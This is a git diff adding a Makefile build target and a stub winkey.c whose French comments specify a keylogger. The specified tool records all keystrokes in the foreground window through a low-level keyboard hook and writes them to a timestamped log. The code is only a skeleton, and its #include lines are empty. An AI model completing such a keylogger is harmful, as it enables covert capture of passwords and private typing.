diff --git a/Makefile b/Makefile index 72c5935..5971395 100644 --- a/Makefile +++ b/Makefile @@ -1,4 +1,11 @@ SERVICE = svc +KEYLOGGER = winkey -$(SERVICE): +all: service keylogger + +service: cl /Fe"$(SERVICE)" tinky.c Advapi32.lib + +keylogger: + cl /Fe"$(KEYLOGGER)" winkey.c User32.lib + diff --git a/winkey.c b/winkey.c new file mode 100644 index 0000000..dd2918e --- /dev/null +++ b/winkey.c @@ -0,0 +1,15 @@ +#include +#include +#include +/* Winkey: + * -doit detecter le processus de premier plan + * -doit sauvegarder toutes les touches tapper dans le processus de premier plan + * -le clavier doit etre traite pour un hook low-level + * -Tout ces infos doivent etre stocker dans un fichier de log avec l'horaire des logs + * -Evidement le logs logs doivent etre lisible par un humain + */ +int main(void){ + BOOL is_running = 1; + HWND hdWindowForeground = GetForegroundWindow(); + return 0; +}